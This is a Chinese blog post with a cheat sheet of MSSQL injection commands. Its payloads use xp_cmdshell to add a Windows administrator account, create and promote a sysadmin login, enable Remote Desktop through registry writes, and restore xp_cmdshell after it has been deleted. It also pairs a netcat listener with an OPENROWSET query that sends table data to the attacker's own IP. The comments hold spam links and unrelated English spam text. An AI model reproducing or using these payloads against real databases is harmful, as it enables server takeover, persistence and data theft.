Nov28th

mssql注入经常使用的命令

freboys | 经验技巧 | 评论:4 | 引用:0 | 浏览:

①、是否存在xp_cmdshell

and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')

②、用xp_cmdshell执行命令

;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup name administrators /add"-- 

③、查看权限

and (select IS_SRVROLEMEMBER('sysadmin'))=1--  //sa
and (select IS_MEMBER('db_owner'))=1--   //  dbo
and (select IS_MEMBER('public'))=1--  //public

④、创建个登陆mssql的帐号

;exec master.dbo.sp_addlogin name,pass;--

 ⑤、把创建的mssql登陆帐号提升到sysadmin

;exec master.dbo.sp_addsrvrolemember name,sysadmin;--

⑥、开3389

'exec master..xp_regwrite @r,'software\microsoft\windows\currentversion\netcache','enable','reg_sz','0';----
;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite @r,'software\microsoft\windows nt\currentversion\winlogon','shutdownwithoutlogon','reg_sz','0';----
;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite @r,'software\policies\microsoft\windows\installer','enableadmintsremote','reg_dword',1;----
;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite @r,'system\currentcontrolset\control\terminal server','Tsenabled','reg_dword',1;----
;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite @r,'system\currentcontrolset\services\termdd','start','reg_dword',2;----
;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite @r,'system\currentcontrolset\services\termservice','start','reg_dword',2;----
;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite 'hkey_users','.default\keyboard layout\toggle','hotkey','reg_sz','1';----
;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_cmdshell 'iisreset /reboot';----

 

⑦、xp_cmdshell的删除及恢复

1、恢复xp_cmdshell的方法  
删除扩展存储过过程xp_cmdshell的语句  
exec sp_dropextendedproc ’xp_cmdshell’  

2、恢复cmdshell的sql语句  
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’  

exec master.dbo.addextendedproc ’xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’x’ and  
返回结果为1就ok  

否则需上传c:\inetput\web\xplog70.dll后  
exec master.dbo.sp_addextendedproc ’xp_cmdshell’,’c:\inetput\web\xplog70.dll’;--  

3、如果是用以下方法删除  
drop procedure sp_addextendedproc  
drop procedure sp_oacreate  
exec sp_dropextendedproc ’xp_cmdshell’  

则可以用以下语句恢复  
dbcc addextendedproc ("sp_oacreate","odsole70.dll")  
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")  
这样可以直接恢复,不用去管sp_addextendedproc是不是存在

 

⑧、在db权限并且分离获取mssql数据库服务器ip的方法

1.本地nc监听  nc -vvlp 80

2.;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;', 'select * from dest_table') select * from src_table;--

 

⑨、Mssql扩展相关

--获得MS SQL的版本号  //mssql版本
execute master..sp_msgetversion   // dbo public

--得到硬盘文件信息             //dbo public
--参数说明:目录名,目录深度,是否显示文件 //读取磁盘目录和文件
execute master..xp_dirtree 'c:' //列出所有c:\文件和目录,子目录
execute master..xp_dirtree 'c:',1 //只列c:\文件夹
execute master..xp_dirtree 'c:',1,1 //列c:\文件夹加文件

--列出服务器上所有windows本地组
execute master..xp_enumgroups //dbo

--得到当前sql server服务器的计算机名称 //获得计算机名  
execute master..xp_getnetname   //dbo public

--列出指定目录的所有下一级子目录
EXEC [master].[dbo].[xp_subdirs] 'c:\WINNT' //可以列目录

--列出服务器上固定驱动器,以及每个驱动器的可用空间
execute master..xp_fixeddrives   //dbo public

--显示系统上可用的盘符
execute master..xp_availablemedia   //dbo

--获取某文件的相关属性
execute master..xp_getfiledetails 'C:1.txt'  //dbo public

--统计数据库里每个表的详细情况
exec sp_MSforeachtable 'sp_spaceused ''?''' //查询表 //dbo public

--获得每个表的记录数和容量
exec sp_MSforeachtable 'select ''?''','?', 'sp_spaceused ''?''', 'SELECT count(*) FROM ? '  //dbo pubilc

--更新Table1/Table2中note列为NULL的值
sp_MSforeachtable 'Update ? Set note='''' Where note is null',null,null,null,' AND o.name in (''Table1'',''Table2'')

--列出服务器域名
xp_ntsec_enumdomains //机器名 //dbo public

--停止或者启动某个服务
xp_servicecontrol 'stop','schedule' //schedule是服务得名称  //dbo

--用pid来停止某个执行中的程序
xp_terminate_process 123 //123是pid //dbo

--只列某个目录下的子目录
dbo.xp_subdirs 'C:' //dbo

--服务器安全模式信息
xp_loginconfig  //dbo


xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

--将新扩展存储过程的名称注册到 Microsoft? SQL Server? 上。
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' //恢复xp_cmdshell

恢复过程sp_addextendedproc 如下:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc

创建新的 Microsoft? SQL Server? 登录//只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin。

 

 

补丁版本
   其中的8.00.760就是SQL Server的版本和补丁号。对应关系如下:


    8.00.194 -——————SQL Server 2000 RTM
    8.00.384 -——————(SP1)
    8.00.534 -——————(SP2)
    8.00.760 -——————(SP3)
 

 

  • quote 2楼. email 于 2009-12-1 15:39:50 说 (Reply) :
  • email
  • [EMAIL=ok@163.com]EMAIL[/EMAIL]
  • quote 3楼. 拉伸 于 2009-12-4 18:37:44 说 (Reply) :
  • 拉伸
  • 好多命令哦。。。。。
    我的博客 新出了个玩意 你也许有需要
    可以去下载吧
    NTcmd http://www.54rk.cn/html/blogview-15-425_1.html
  • quote 4楼. sacLongchamp 于 2012-1-7 14:59:05 说 (Reply) :
  • sacLongchamp
  • It also let us know to a governments biggest liability is protecting the mulberry outlet life safety. This time I was ill, and 11 days in the Sac longchamp pas cher , today the doctor reluctantly allowed me to travel. This is why the accident happened on the sixth day I came. I would like to answer your questions.The Xinhua news mulberry outlet agency: went hello, I am a Xinhua. July 23 sac Longchamp lukewarm line special major railway traffic accident occurs, the social public to the high iron technology safety, railway dispatching, field rescue and high attention, have some Mulberry Alexa Bags questions, the crowd pressing for the clarify the cause.

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。


关于本站 | 安全业务 | 联系我们 | 广告服务 | 友情链接 | 加入收藏夹

Copyright 2008-2010 无忧安全网 All rights reserved.Powered By Z-Blog

ICP备案编号:闽ICP备09054386号